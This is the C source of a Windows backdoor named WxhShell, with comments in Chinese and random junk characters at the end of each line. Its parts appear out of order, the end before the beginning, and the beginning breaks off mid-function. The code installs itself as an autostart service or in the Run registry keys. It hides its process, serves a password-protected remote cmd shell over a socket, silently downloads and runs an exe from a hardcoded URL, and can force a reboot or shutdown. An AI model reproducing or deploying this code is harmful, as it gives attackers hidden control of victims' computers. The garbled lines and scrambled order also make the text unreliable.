    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KID,|K  
    else { _>v<(7  
    closesocket(wsh); D`xHD#j h  
    ExitThread(0); >P/][MT  
    } 8,atX+tc  
    break; #?XQ7Im  
    } n_B"- n  
  // 获取shell P1NJ^rX  
  case 's': { O)Y?=G)  
    CmdShell(wsh); ZvUC I8  
    closesocket(wsh); HU9Sl*/  
    ExitThread(0); F*.g;So  
    break; |=EZ1<KzD  
  } RGK8'i/X  
  // 退出 A.D{.a  
  case 'x': { NuYkz"O]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1Jj Y!  
    CloseIt(wsh); YFTjPBV  
    break; iR\Hv'|  
    } [|lB5gi4t!  
  // 离开 7^M9qTEHp  
  case 'q': { Z(ZiFPx2Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '*Almv{  
    closesocket(wsh); j+^oz'q  
    WSACleanup(); $-&BB(-{E&  
    exit(1); t!2(7=P30(  
    break; ~l$3uN[g  
        } J -ePE7i  
  } @&"Pci+-|  
  } uK'&Dam  
>j{z>  
  // 提示信息 gZEi]/8_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?X-)J=XG  
} 5'Q|EIL  
  } -!)xQvagD.  
~Aq5X I%i  
  return; c,Euv>*`  
} {,cCEXag%  
0oh]61g C  
// shell模块句柄 OgcHS?  
int CmdShell(SOCKET sock) hb/]8mR  
{ [DHoGy,P  
STARTUPINFO si; 'u4ezwF;  
ZeroMemory(&si,sizeof(si)); GdVhK:<>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {"vkji>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -AYA~O(&  
PROCESS_INFORMATION ProcessInfo; /j"sS2$U  
char cmdline[]="cmd"; ,&Wn [G<2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [~\PQYm'  
  return 0; lZ&]|*>  
} 1ZJQs6  
93IFcmO.H@  
// 自身启动模式 7B3w\  
int StartFromService(void) Sb".]>^  
{ `Y40w#?uW  
typedef struct "&Qctk`<P  
{ i{^Z1;Yl  
  DWORD ExitStatus; zu2HH<E  
  DWORD PebBaseAddress; q EUT90  
  DWORD AffinityMask; CnN9!~]"  
  DWORD BasePriority; E^hHH?w+  
  ULONG UniqueProcessId; x\s,= n3z  
  ULONG InheritedFromUniqueProcessId; hIJ)MZU|  
}   PROCESS_BASIC_INFORMATION; i v(5&'[p  
'z=:[#b  
PROCNTQSIP NtQueryInformationProcess; Fk=}iB#(  
 \4ghYQ:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rSP_:}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?R Fg$Z'^  
K:y^OAZfV  
  HANDLE             hProcess; qIwV q!=  
  PROCESS_BASIC_INFORMATION pbi; HjWq[[Nz  
?v}Bd!'+P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '[P}&<ie,  
  if(NULL == hInst ) return 0; P ,eH5w"  
3UUGblg`~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L3(^{W]|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1+y"i<3)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Zt3}Z4d  
?lCd{14Mkh  
  if (!NtQueryInformationProcess) return 0; N?4q  
~<qt%W?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); io4A>>W==/  
  if(!hProcess) return 0; ALd;$fd qf  
Fs/?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ix DWJ#k  
zGcqzYbuA  
  CloseHandle(hProcess); (3,.3)%`  
> ^[z3T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PHM:W%g:  
if(hProcess==NULL) return 0; "L& k)J  
g+zJ?  
HMODULE hMod; MN= sIP,zk  
char procName[255]; (9fdljl],:  
unsigned long cbNeeded; a?cn9i)#  
5iFV;W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VFD%h }  
MN;/*t  
  CloseHandle(hProcess); cJ}QXuuUv  
oholt/gb+0  
if(strstr(procName,"services")) return 1; // 以服务启动 CidM(  
eo#^L}  
  return 0; // 注册表启动 #$'"cfRxc  
} j;P+_Hfe/E  
s0LA^2U  
// 主模块 \X}8 q  
int StartWxhshell(LPSTR lpCmdLine)  h=RD O  
{ nX%AeDBAT  
  SOCKET wsl; 5a8>g [2U  
BOOL val=TRUE; \Xg?Ug*9w  
  int port=0; )+O r  
  struct sockaddr_in door; Il~01|3+m  
('o&Q_  
  if(wscfg.ws_autoins) Install(); @O3/3vi1  
(hZ:X)E>  
port=atoi(lpCmdLine); )xl6,bq3  
f!GHEhQ9  
if(port<=0) port=wscfg.ws_port; F#q&(  
Db03Nk>#  
  WSADATA data; \ a-CN>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :pKG\A  
o#i ]"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nf%4sIQ*x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7$T8&Mh  
  door.sin_family = AF_INET; &&RA4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e 3@x*XI  
  door.sin_port = htons(port); /r$&]C:Fi  
 ~Nh&.a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U1m\\<,  
closesocket(wsl); }#N]0I)JI  
return 1; o$bUY7_  
} _3^y|_!  
I^0 t2[M  
  if(listen(wsl,2) == INVALID_SOCKET) { <DiOWi  
closesocket(wsl); R ZcH+?7  
return 1; bcJ@-i0V  
} 8cr NOZS6  
  Wxhshell(wsl); xl!K;Y2<  
  WSACleanup(); A]y*so!)>  
.;Y x*]  
return 0; 2>y:N.  
-Ds|qzrN%  
} z%2w(&1  
Kmry=`=A  
// 以NT服务方式启动 #vnT&FN0[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {OxWcK\2@h  
{ ^e9aD9  
DWORD   status = 0; yz)ESQ~va  
  DWORD   specificError = 0xfffffff; &6"P7X  
lCFU1 GHH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _nX%#/{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .ewZV9P)t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <?|6*2_=  
  serviceStatus.dwWin32ExitCode     = 0; i:Mc(mW  
  serviceStatus.dwServiceSpecificExitCode = 0; l BiovT  
  serviceStatus.dwCheckPoint       = 0; ep?:;98|t  
  serviceStatus.dwWaitHint       = 0; 0$Ff#8  
d^aNR Lv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y+|PY? ~  
  if (hServiceStatusHandle==0) return; 0 BC`iql5  
zzf7S%1I  
status = GetLastError(); NWISS  
  if (status!=NO_ERROR) [ -12]3  
{ [h", D5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *)%dXVf  
    serviceStatus.dwCheckPoint       = 0; i_Ar<9a~  
    serviceStatus.dwWaitHint       = 0; ?M"HXu  
    serviceStatus.dwWin32ExitCode     = status; IQ{?_'  
    serviceStatus.dwServiceSpecificExitCode = specificError; UX}*X`{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3}4#I_<$F@  
    return; @&:VKpu\  
  } )5i* /I\  
p":@>v?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )k%M.{&bji  
  serviceStatus.dwCheckPoint       = 0; u9}!Gq  
  serviceStatus.dwWaitHint       = 0; AF[>fMI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qBiyGlu4  
} x^2 W?<  
cdp{W  
// 处理NT服务事件,比如:启动、停止 wb+<a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W?PWJkIw  
{ hT=f;6$  
switch(fdwControl) *f*f&l%  
{ !rHx}n{rw  
case SERVICE_CONTROL_STOP: @U7Dunu*f  
  serviceStatus.dwWin32ExitCode = 0; +E#PJ_H=F8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z[biK|YL  
  serviceStatus.dwCheckPoint   = 0; $B ?? Ip?P  
  serviceStatus.dwWaitHint     = 0; Y UZKle  
  { Qdm(q:w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G1r V<,#m  
  } [D9:A  
  return; "i''Ui\H  
case SERVICE_CONTROL_PAUSE: 2lJZw@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {kG;."S+K  
  break; GiqBzV3"  
case SERVICE_CONTROL_CONTINUE: &G=0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =BW9/fG  
  break; GWh|FEqUbf  
case SERVICE_CONTROL_INTERROGATE: iE+6UK  
  break; yjv&4pIc1  
}; $P_x v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~bFdJj 1*  
} =VCQ*  
p\ok_*b  
// 标准应用程序主函数 eEie?#Z/6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k) 3s?  
{ \d$Rd")w  
/sH0x,V  
// 获取操作系统版本 yjR)Z9t  
OsIsNt=GetOsVer(); 3 9yz~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VK$zq5D  
tzmETRwG  
  // 从命令行安装 0w+5'lOg  
  if(strpbrk(lpCmdLine,"iI")) Install(); U_}hfLILi  
N=<=dp(  
  // 下载执行文件 w?/f Zx  
if(wscfg.ws_downexe) { omT(3)TP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) My0!=4Any  
  WinExec(wscfg.ws_filenam,SW_HIDE); vhNohCt  
} W%H]Uyt  
iGQ n/Xdo  
if(!OsIsNt) { BWohMT  
// 如果时win9x,隐藏进程并且设置为注册表启动 {)uU6z {'  
HideProc(); i)8gCDc  
StartWxhshell(lpCmdLine); -Fa98nV.WB  
} -UTV:^  
else A_]D~HH  
  if(StartFromService()) TL]bY'%  
  // 以服务方式启动 `_ 0)kdu  
  StartServiceCtrlDispatcher(DispatchTable); @%%bRY  
else e+x*psQ  
  // 普通方式启动 GGp{b>E+ #  
  StartWxhshell(lpCmdLine); {[N?+ZJD*L  
cPm~` Zd  
return 0; >z5Oy  
} y78z>(jV  
h%/ssB  
>0 7shNX  
>waN;&>/  
=========================================== k5g@myb-  
.h a`)@MsZ  
;i}i5yv2  
bbO+%-(X  
dUZ$wbV%h  
iW":DOdi_  
" Qz# 3p3N?  
&6Ns7w6*z  
#include <stdio.h> q< b"M$  
#include <string.h> HmFNE$k  
#include <windows.h> l-Fmn/V  
#include <winsock2.h> q'by;g*m  
#include <winsvc.h> ([1=>Jw"  
#include <urlmon.h> aDXpkG0E  
i{P%{hVb  
#pragma comment (lib, "Ws2_32.lib") kO jEY  
#pragma comment (lib, "urlmon.lib") [:Xn6)qz  
` v>/  
#define MAX_USER   100 // 最大客户端连接数 eC.w?(RB  
#define BUF_SOCK   200 // sock buffer i>WOYI9  
#define KEY_BUFF   255 // 输入 buffer 0}6QO  
J/L)3y   
#define REBOOT     0   // 重启 +&(J n  
#define SHUTDOWN   1   // 关机 g&q^.7c}  
8b{U tT  
#define DEF_PORT   5000 // 监听端口 f8R+7Ykx  
sN;(/O  
#define REG_LEN     16   // 注册表键长度 FzA{U O  
#define SVC_LEN     80   // NT服务名长度 bd.j,4^  
 Ls lM$  
// 从dll定义API }Z^FEd"y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Zb}`sk#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _dJp 3D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w<btv]X1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MkkA{p  
F{kG  
// wxhshell配置信息 rA[nUJ,  
struct WSCFG { ;B*L1'FF%t  
  int ws_port;         // 监听端口 =z+-l5Gu"  
  char ws_passstr[REG_LEN]; // 口令 Y=hP Erw  
  int ws_autoins;       // 安装标记, 1=yes 0=no CgN]dx* `  
  char ws_regname[REG_LEN]; // 注册表键名 3e#x)H/dr  
  char ws_svcname[REG_LEN]; // 服务名 >\Z lZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mf+K{y,L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `CPZPp,l6`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s z;=mMr/Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bb*c+XN0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }R4(B2vup  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t>XZ 3  
 fF\*v  
}; )J{.Cx<E  
GU2]/\W*a  
// default Wxhshell configuration ^ b=5 6~[  
struct WSCFG wscfg={DEF_PORT, EPQ&?[6  
    "xuhuanlingzhe", M4R%Gr,La  
    1, e6Wl7&@6  
    "Wxhshell", f S(^["*G  
    "Wxhshell", 6'S5sRA  
            "WxhShell Service", YCtIeq%  
    "Wrsky Windows CmdShell Service", pZyb  
    "Please Input Your Password: ", ~3LhcU-  
  1, c& 9+/JYMo  
  "http://www.wrsky.com/wxhshell.exe", [3Wsc`Q  
  "Wxhshell.exe" K!pxDW}  
    }; ~vO'p  
ZJ;wRd@  
// 消息定义模块 mvUVy1-c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @hE7r-}]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kxcgOjrmI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E!:.G+SEl  
char *msg_ws_ext="\n\rExit."; #-l!`\@  
char *msg_ws_end="\n\rQuit."; x0}<n99qE  
char *msg_ws_boot="\n\rReboot..."; #p11D= @[  
char *msg_ws_poff="\n\rShutdown..."; u40b? n.  
char *msg_ws_down="\n\rSave to "; J R 8 Z6  
H[>klzh6 !  
char *msg_ws_err="\n\rErr!"; %#[r_QQ^  
char *msg_ws_ok="\n\rOK!"; ;mCGh~?G  
+OV%B .  
char ExeFile[MAX_PATH]; DW'0j$;  
int nUser = 0; "~ .8eKRQ  
HANDLE handles[MAX_USER]; }Bv30V2-(  
int OsIsNt; ^EnNbFI  
wFKuSd  
SERVICE_STATUS       serviceStatus; >\^N\&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ' [7C~r{%  
l4R<`b\Jt  
// 函数声明 k1~nd=p  
int Install(void); JKEXYE  
int Uninstall(void); Q' OuZKhA  
int DownloadFile(char *sURL, SOCKET wsh); RZcx4fL}x  
int Boot(int flag); RPa?Nv?e  
void HideProc(void); O=4c eE mz  
int GetOsVer(void); TWl(\<&+)  
int Wxhshell(SOCKET wsl); ]%vGC^  
void TalkWithClient(void *cs); .j'@K+<45  
int CmdShell(SOCKET sock); Z<$E.##  
int StartFromService(void); !W+p<F1i  
int StartWxhshell(LPSTR lpCmdLine); 6KBzlj0T+  
N,'[:{GOY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r7]?g~zb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mjkw&2  
W(]E04  
// 数据结构和表定义 Mp DdJ,  
SERVICE_TABLE_ENTRY DispatchTable[] = < e7<t9  
{ s$2l"|h>B  
{wscfg.ws_svcname, NTServiceMain}, LZZ:P  
{NULL, NULL} b a1$kU  
}; l,^i5t'  
3. K{T  
// 自我安装 Lk8W&|;0|  
int Install(void) v"G%5pq*\  
{ ? bUpK  
  char svExeFile[MAX_PATH]; ]%WD} 4e  
  HKEY key; ]ft~OqLg!  
  strcpy(svExeFile,ExeFile); E'Fv *UA  
=2vMw]  
// 如果是win9x系统,修改注册表设为自启动 /eU1(oo&`5  
if(!OsIsNt) { =0!\F~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X+'^ Sp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jx5[bUp4u  
  RegCloseKey(key); lN][xnP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +*r**(-Dm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JYVxdvq1  
  RegCloseKey(key); {{4p{  
  return 0; q|Pt>4c5?  
    } a@V/sh  
  } 8f6;y1!;  
} qD=m{O8%_  
else { 'o#J>a~!9L  
AD!<%h:  
// 如果是NT以上系统,安装为系统服务 + 8K1]'t$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ac+k 5K+  
if (schSCManager!=0) I[cV"BDa  
{ nDoiG#N0  
  SC_HANDLE schService = CreateService HqnKpZ  
  ( F`ZIc7(.{  
  schSCManager, #?b^B~ #  
  wscfg.ws_svcname, '%]@a7w  
  wscfg.ws_svcdisp, C&CsI] @g  
  SERVICE_ALL_ACCESS, |)72E[lL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \+evZ{Pu  
  SERVICE_AUTO_START, y}:)cA~o(y  
  SERVICE_ERROR_NORMAL, H2FFw-xW  
  svExeFile, DESViQM  
  NULL, LGo@F;!n  
  NULL, 5M\=+5wB  
  NULL, A 4W  
  NULL, !7"K>m<  
  NULL 5qtmb4R~  
  ); EV?47\ ~  
  if (schService!=0) SJ WP8+  
  { 'Kso@St`o  
  CloseServiceHandle(schService); E23 Yk?"  
  CloseServiceHandle(schSCManager); 4W//Oc@e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XnI ;7J  
  strcat(svExeFile,wscfg.ws_svcname); / Vm}+"BCS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &8_#hne_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a@_Cx  
  RegCloseKey(key); :C:N]6_{SZ  
  return 0; >$S,>d_k`  
    } yzM+28}L<I  
  } eE.5zXU3R  
  CloseServiceHandle(schSCManager); KZ<RDXVT  
} )T};Q:  
} mP$G9R  
Jr>S/]"  
return 1; Vw;ldEdx  
} V.gY1   
@;n$caw  
// 自我卸载 VgZaDd;  
int Uninstall(void) ID)gq_k[8,  
{ -C'X4C+  
  HKEY key; r)#"$Sm  
)`+@j.75  
if(!OsIsNt) { @aV~.!!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vg,>7?]6h  
  RegDeleteValue(key,wscfg.ws_regname); yL3<X w|  
  RegCloseKey(key); 7U[L\1zS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { | 8L`osg  
  RegDeleteValue(key,wscfg.ws_regname); %d[xr h  
  RegCloseKey(key); rX>y>{w~  
  return 0;  ZV q  
  } L]}RSE2  
} 2bn@:71`  
} P7k$^n  
else { k@";i4}A  
0i Z9a/v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _hyxKrm' 6  
if (schSCManager!=0) aEqI51I  
{ n40MP5RxY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |Q)w3\S$  
  if (schService!=0) `w=H'"Zv  
  { -z 5k4Y  
  if(DeleteService(schService)!=0) { .kKwdqO+zB  
  CloseServiceHandle(schService);  ~!d)J  
  CloseServiceHandle(schSCManager); ,S0~:c:)  
  return 0; Mm7n?kb6  
  } q}F%o0  
  CloseServiceHandle(schService); vBYT)S  
  } CygV_q  
  CloseServiceHandle(schSCManager); v4>"p!_C  
} x^O2Lj,w\  
} +l?ro[#6&.  
HFx"fT  
return 1; eW*ae;-  
} >eTgP._  
@oc%4~zl  
// 从指定url下载文件 ]vkHU6d  
int DownloadFile(char *sURL, SOCKET wsh) .f<VmUca  
{ fYQi#0drn  
  HRESULT hr; i`nw"8  
char seps[]= "/"; m3xj5]#^$  
char *token; Fx99"3`3  
char *file; ^\kHEM|5v  
char myURL[MAX_PATH]; (`y|AOs  
char myFILE[MAX_PATH]; y3[)zv  
b G5  
strcpy(myURL,sURL); x(zZqOed  
  token=strtok(myURL,seps); pL/.JzB  
  while(token!=NULL) {ZM2WFpE  
  { zu*G4?]~h  
    file=token; e, 0I~:  
  token=strtok(NULL,seps); 6N+)LF}P b  
  } F4<2.V)#-  
;q&D,4r]  
GetCurrentDirectory(MAX_PATH,myFILE); $F()`L{Tj  
strcat(myFILE, "\\"); 9egaN_K  
strcat(myFILE, file); /^eemx  
  send(wsh,myFILE,strlen(myFILE),0); g7LW?Ewr  
send(wsh,"...",3,0); )zt4'b\)v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RrpF i'R  
  if(hr==S_OK) {BCj VmY  
return 0; HeifFJn  
else Y9L6W+=T  
return 1; N_k6UA9  
BI^]juH-c  
} T_%]#M  
5 ^z ,'C  
// 系统电源模块 $(L7/M  
int Boot(int flag) Hpg;?xAT  
{ 71&+dC  
  HANDLE hToken; gG;W:vR}l  
  TOKEN_PRIVILEGES tkp; to|9)\  
RZh)0S>J  
  if(OsIsNt) { 4bzn^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4"(zi5`e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9Zsb1 M!n>  
    tkp.PrivilegeCount = 1; 6:tr8 X_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v ]U;5Uo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  de47O  
if(flag==REBOOT) { Hf{%N'4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^|{fB,B  
  return 0; DMN H?6  
} T|2%b*/  
else { V@'S#K#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "[S 6w  
  return 0; gbf=H8]  
} . \0=1P:  
  } *9(1:N;#  
  else { jyH_/X5i7  
if(flag==REBOOT) { ykhCt\t[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SY)$2RC+}  
  return 0; [gp:nxyfQm  
} Iw7r}G  
else { I8;[DP9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F/>Pv q]  
  return 0; rg/vxTl  
} azc:C  
} Hbc&.W;g7[  
+##I4vP  
return 1; Bic { H  
} X hX'*{3k  
k K|+W,  
// win9x进程隐藏模块 !*UdY(  
void HideProc(void) yP4.Z9  
{ \U>Kn_7m  
E"&9FxS]^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  PuCA @qY  
  if ( hKernel != NULL ) 8~#Q *  
  { mxA )r5sx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <XrGr5=BV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x.Ml~W[  
    FreeLibrary(hKernel); p=gUcO8  
  } #zs\Z]3#  
l8Qi^<i/  
return; Y<fXuj|&  
} g"? D>}@=  
|UO;St F  
// 获取操作系统版本 ta., 4R&K  
int GetOsVer(void)  F]#fl%  
{ gSYX@'Q!  
  OSVERSIONINFO winfo; h18y?e7MU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U/o}{,$A  
  GetVersionEx(&winfo); 0N;d)3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i]?xM2(N  
  return 1; 17MjIX  
  else Qo *]l_UO;  
  return 0; ACltV"dB^  
} }*R6p?L5  
9W$)W  
// 客户端句柄模块 eJp-s" %  
int Wxhshell(SOCKET wsl) 9'h^59  
{ !OgoV22  
  SOCKET wsh; [`\Qte%UH  
  struct sockaddr_in client; 'FFc"lqj  
  DWORD myID; :K:gyVrC  
.Kwl8xRg  
  while(nUser<MAX_USER) (C@@e'e  
{ 3y,?>-  
  int nSize=sizeof(client); 7'uc;5:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !I_4GE,  
  if(wsh==INVALID_SOCKET) return 1; @{lnfOESl  
uZI a-b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N&`ay{&`:  
if(handles[nUser]==0) UOOme)\>  
  closesocket(wsh); :XZ pnjj  
else 1Di&vpn0u  
  nUser++; uK5x[m  
  } oH"N>@Vl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0+pJv0u  
^T,cXpx|  
  return 0; BG=_i#V  
} c$fM6M }  
P,_E 4y  
// 关闭 socket L{p-'V  
void CloseIt(SOCKET wsh) L9oZ7o  
{ |Wk G='02  
closesocket(wsh); j]&{ @Y  
nUser--; G].KJ5,y  
ExitThread(0); 'VEpVo/  
} {hz :[  
o7zfD94I  
// 客户端请求句柄 6u7wfAf  
void TalkWithClient(void *cs) lZ_k307  
{ (mlc' ]F  
UXHFti/A<  
  SOCKET wsh=(SOCKET)cs; @1@WB ]mQQ  
  char pwd[SVC_LEN]; tO3 ;; %  
  char cmd[KEY_BUFF]; 063;D+  
char chr[1]; (Lnh> '2  
int i,j; ] ),' =@  
`f]O  
  while (nUser < MAX_USER) { CI{x/ e^(  
GNOC5 E$I  
if(wscfg.ws_passstr) { ,qB081hPG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {+Yo&F}n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dy!fwYPA/{  
  //ZeroMemory(pwd,KEY_BUFF); }}_l@5  
      i=0; &)-?=M  
  while(i<SVC_LEN) { H #_Z6J  
7l3q~dQ  
  // 设置超时 ]U%Tm>s.  
  fd_set FdRead; A4' aB0^  
  struct timeval TimeOut; @jKB!z9{  
  FD_ZERO(&FdRead); (.o'1 '  
  FD_SET(wsh,&FdRead); W(YJz#]6_  
  TimeOut.tv_sec=8; "#jKk6{I0  
  TimeOut.tv_usec=0; 7ZZt|bl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K#r` ^aUc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I]X<L2  
=P{RHhWy;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 's<}@-]  
  pwd=chr[0]; e{&gF1" [  
  if(chr[0]==0xd || chr[0]==0xa) { 3yN1cd"#?  
  pwd=0; BL67sva;  
  break; 51x,[y+Xe  
  } :cTi$n  
  i++; qv\yQ&pj  
    } v*3:8Y,  
wn`budH?c8  
  // 如果是非法用户,关闭 socket 1CbC|q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); whCv9)x  
} v(`$%V.  
?9+;[X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UlrY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ikQ2x]Sp  
Q*: Ow]  
while(1) { *F0N'*  
iQF93:#  
  ZeroMemory(cmd,KEY_BUFF); 9[M u   
n :P}K?lg  
      // 自动支持客户端 telnet标准   ?3#X5WT  
  j=0; srL,9)O C  
  while(j<KEY_BUFF) { xh0!H| R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yFG&Ir  
  cmd[j]=chr[0]; ? t-2oLE  
  if(chr[0]==0xa || chr[0]==0xd) { bX,Z<BvbF  
  cmd[j]=0; x% 1Rp[  
  break; M3%< kk-_  
  } 'mF}+v^   
  j++; =#fqFL,  
    } yrw!b\  
#'qW?8d}  
  // 下载文件 1a<~Rmcil  
  if(strstr(cmd,"http://")) { 2 O%UT?R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6k2~j j1d  
  if(DownloadFile(cmd,wsh)) #7{a~-S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w]_a0{Uh  
  else JS9q'd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8CCA/6  
  } v&Kw 3!X#E  
  else { aC*J=_9o #  
n" sGI  
    switch(cmd[0]) { <d4^gAfs*  
  K\G|q}E/1  
  // 帮助 ;6?K&}J)-  
  case '?': { rgr> ;   
